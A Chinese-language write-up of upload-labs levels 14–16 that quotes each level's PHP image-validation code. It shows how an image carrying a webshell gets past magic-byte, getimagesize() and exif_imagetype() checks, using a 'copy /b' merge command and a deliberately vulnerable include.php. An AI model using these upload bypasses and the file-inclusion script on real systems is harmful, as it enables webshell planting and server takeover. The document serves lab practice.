本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切后果與發表本文章的作者無關
測試的靶機是作者自己購買的vps搭建的環境,使用了白名單形式訪問!
Pass-14
- 查看本關卡代碼
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只讀2字節 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } } }
- 根據提示檢測了代碼內容的開頭兩個字節,且頁面提示需要上傳圖片木馬拿shell,所以首先本地制作個圖片木馬
- copy bmfx.jpg/b + ant.php/a shelljpg.jpg
- 參數/b指定以二進制格式復制
- 參數/a指定以ASCII格式復制
- 最后是合並好的帶一句話的jpg文件
- 然后直接上傳此圖片
- 得到圖片地址:4020200930032126.jpg
- 因為本關卡還提示需要通過文件包含來讀取jpg里面的小馬代碼拿shell,所以需要建立一個包含代碼的文件,我這里就定義名稱為include.php,內容如下:
<?php $file = $_GET[ 'page' ] ; include ($file); ?>
- 到了此步就可以直接包含圖片拿shell了
- http://106.54.35.126/upload/include.php?page=4020200930032126.jpg
- 成功拿shell
Pass-15
- 查看本關卡代碼
function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } } }
- 根據本關卡的提示是使用了getimagesize()函數,此函數是獲取文件類型是不是圖片格式的,但是此函數還是根據文件開頭去判斷的,所以我們插入在后面的一句話木馬不受影響,可以繼續利用
- 具體看如下演示,最終上傳成功的訪問路徑:http://106.54.35.126/upload/include.php?page=6520200930034550.jpeg
Pass-16
- 查看本關卡代碼
function isImage($filename){ //需要開啟php_exif模塊 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } } }
- 根據本關卡的提示,發現又換了個函數來檢查是否是圖片,函數名稱是exif_imagetype() 此函數跟上一關卡的函數差別不大,只是本關卡的函數返回值少了些,所以同樣使用使用圖片木馬上傳拿shell
- 具體請看如下演示:訪問 http://106.54.35.126/upload/include.php?page=3320200930051801.jpg